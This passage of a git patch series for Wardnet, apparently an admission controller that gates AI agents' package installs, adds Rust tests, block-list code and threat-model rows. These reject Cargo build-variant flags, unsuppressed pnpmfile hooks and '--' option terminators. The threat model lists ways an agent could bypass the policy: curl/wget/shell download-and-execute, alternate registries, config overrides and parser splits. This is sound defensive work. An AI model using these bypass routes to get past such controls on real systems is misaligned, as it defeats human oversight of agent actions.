"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; + +#[test] +fn cargo_build_variant_selectors_cannot_change_an_approved_artifact_install() { + // Cargo documents these selectors as changing the activated feature set or + // selected build output. The current artifact coordinate does not bind that + // build variant, so callers must not be able to add one after approval. + for variant_arguments in [ + vec!["--features=dangerous"], + vec!["-Fdangerous"], + vec!["--all-features"], + vec!["--no-default-features"], + vec!["--bin=alternate"], + vec!["--example=diagnostic"], + vec!["--profile=dev"], + vec!["--target=wasm32-wasip1"], + vec!["--debug"], + ] { + let policy = approved_cargo_policy(); + let mut argv = vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]; + argv.extend(variant_arguments.iter().map(|value| (*value).to_string())); + let intent = approved_cargo_intent(argv); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "unreviewed Cargo build variant {variant_arguments:?} must not change an approved install" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "unbound Cargo build variants must produce the stable artifact_not_approved reason: {variant_arguments:?}" + ); + } +} + +fn approved_cargo_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-build-variant-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} + +fn approved_cargo_intent(argv: Vec) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-build-variant".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} From 32d96098f46a6a672d702cb822351cd6d353cf88 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 11:12:03 +0900 Subject: [PATCH 118/247] fix(admission): bind Cargo install build variants --- crates/agent-artifact-admission/src/policy.rs | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index d653b81c..e996816b 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -265,6 +265,7 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec } } +fn requests_unapproved_cargo_build_variant(executable: &str, arguments: &[String]) -> bool { + if executable != "cargo" { + return false; + } + + const BUILD_VARIANT_FLAGS: &[&str] = &[ + "-F", + "--features", + "--all-features", + "--no-default-features", + "--bin", + "--bins", + "--example", + "--examples", + "--target", + "--debug", + "--profile", + ]; + + arguments.iter().any(|argument| { + BUILD_VARIANT_FLAGS + .iter() + .any(|flag| matches_cli_flag(argument, flag)) + }) +} + fn has_unambiguous_boolean_safety_flag(arguments: &[String], flag: &str) -> bool { let Some(flag_name) = flag.strip_prefix("--") else { return false; From 66b7eb61793dc429ee688f54b4db4315e2106cf5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 11:13:32 +0900 Subject: [PATCH 119/247] docs(security): bind Cargo install build variants --- docs/security/agent-artifact-admission-threat-model.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 4bf523e7..8a06e7ea 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -28,6 +28,7 @@ The credential file, policy/configuration file and audit file are local deployme | Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | +| Unbound Cargo build variant | An approved Cargo package digest is installed with caller-selected features, binary/example target, compilation target or profile, producing an execution payload that the approved artifact coordinate does not describe | Until build-variant authority is explicitly versioned in the artifact contract, reject Cargo `-F`/`--features`, `--all-features`, `--no-default-features`, `--bin`/`--bins`, `--example`/`--examples`, `--target`, `--debug` and `--profile` selectors | `decision=block`, reason `artifact_not_approved` | | Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | @@ -42,7 +43,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -52,11 +53,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration overrides narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration/build-variant overrides narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references @@ -67,6 +68,7 @@ SHA-256 equality proves byte identity only when the execution path independently - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs - pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs +- The Rust Project. (2026). *cargo install — The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ From 3aaba9974361810cec9129a445c22da70b415f96 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 13:18:06 +0900 Subject: [PATCH 120/247] test: reproduce pnpmfile execution escape --- .../tests/pnpm_pnpmfile_contract.rs | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs diff --git a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs new file mode 100644 index 00000000..972dfe8a --- /dev/null +++ b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs @@ -0,0 +1,80 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pnpm_requires_pnpmfile_suppression_before_admission() { + let (policy, mut intent) = approved_pnpm_case(); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "--ignore-scripts alone is insufficient because pnpm executes .pnpmfile hooks" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "missing pnpmfile suppression must use the stable missing_safety_flag reason" + ); + + intent.argv.push("--ignore-pnpmfile".to_string()); + let hardened = admission_decision(&policy, &intent); + assert_eq!(hardened.decision, DecisionKind::Allow); +} + +fn approved_pnpm_case() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.3".to_string(), + allowed_executables: vec!["pnpm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pnpm-pnpmfile-suppression".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pnpm".to_string(), + "add".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From d994e64a3cb046ffc0309ae73e0a2ce425d466de Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 13:19:19 +0900 Subject: [PATCH 121/247] fix: suppress pnpmfile execution during admission --- crates/agent-artifact-admission/src/policy.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index e996816b..9e029491 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -187,9 +187,13 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec { + "npm" | "yarn" | "bun" => { !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") } + "pnpm" => { + !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") + || !has_unambiguous_boolean_safety_flag(arguments, "--ignore-pnpmfile") + } "pip" | "pip3" => !arguments .iter() .any(|argument| argument == "--require-hashes"), From cfbe3b834b5777e2c050a749937031cf13e4f2bd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 13:20:11 +0900 Subject: [PATCH 122/247] docs: trace pnpmfile execution boundary --- docs/security/agent-artifact-admission-threat-model.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 8a06e7ea..aae3b9e6 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -26,6 +26,7 @@ The credential file, policy/configuration file and audit file are local deployme | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | | Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| pnpmfile hook execution | A reviewed pnpm artifact command includes `--ignore-scripts`, but pnpm still loads local `.pnpmfile.mjs`/`.pnpmfile.cjs` hooks that can run code and alter config, resolution or fetch behavior | Require both unambiguous `--ignore-scripts` and `--ignore-pnpmfile` on admitted pnpm installs; contradictory/assigned Boolean forms do not satisfy the safety contract | `decision=block`, reason `missing_safety_flag` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Unbound Cargo build variant | An approved Cargo package digest is installed with caller-selected features, binary/example target, compilation target or profile, producing an execution payload that the approved artifact coordinate does not describe | Until build-variant authority is explicitly versioned in the artifact contract, reject Cargo `-F`/`--features`, `--all-features`, `--no-default-features`, `--bin`/`--bins`, `--example`/`--examples`, `--target`, `--debug` and `--profile` selectors | `decision=block`, reason `artifact_not_approved` | @@ -43,7 +44,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, or executable pnpmfile hook, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -53,11 +54,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration/build-variant overrides narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration/build-variant overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references @@ -66,6 +67,8 @@ SHA-256 equality proves byte identity only when the execution path independently - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ +- pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile +- pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs - pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs - The Rust Project. (2026). *cargo install — The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html From 85f0f6542a13bfdcc05024b51423851b33ae2ed8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 13:20:45 +0900 Subject: [PATCH 123/247] docs: record pnpmfile admission hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c35ac057..07d38d09 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 46363d7a16de8b4318107ba10a10929304d571ac Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:17:32 +0900 Subject: [PATCH 124/247] test(security): reject option terminator safety bypass --- .../tests/safety_flag_contract.rs | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs index d08c9771..32e22657 100644 --- a/crates/agent-artifact-admission/tests/safety_flag_contract.rs +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -94,6 +94,31 @@ fn npm_boolean_overrides_cannot_reenable_install_scripts() { } } +#[test] +fn option_terminator_cannot_hide_required_safety_flags_from_the_package_manager() { + let policy = approved_npm_policy(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--".to_string(), + "--ignore-scripts".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "forbidden_command"), + "option terminator must not create a second parser authority: {:?}", + decision.reason_codes + ); +} + #[test] fn pip_attached_short_options_cannot_escape_reviewed_install_capability() { let policy = approved_pip_policy(); From 0ccab1141a078e7915d3c1d2fab241b118de4036 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:21:36 +0900 Subject: [PATCH 125/247] fix(security): reject argv parser terminators --- crates/agent-artifact-admission/src/policy.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 9e029491..774ebf00 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -167,7 +167,8 @@ fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec Date: Fri, 4 Sep 2026 03:24:26 +0900 Subject: [PATCH 126/247] docs(security): trace option parser authority boundary --- docs/security/agent-artifact-admission-threat-model.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index aae3b9e6..33ed44cb 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -26,6 +26,7 @@ The credential file, policy/configuration file and audit file are local deployme | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | | Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| Option-parser authority split | A required safety flag is placed after a standalone `--`, where the downstream CLI can stop interpreting subsequent tokens as options while Wardnet's naive argv scan still treats them as active controls | Reject the standalone option terminator for admitted install commands so Wardnet and the execution broker cannot disagree about which tokens have option semantics | `decision=block`, reason `forbidden_command` | | pnpmfile hook execution | A reviewed pnpm 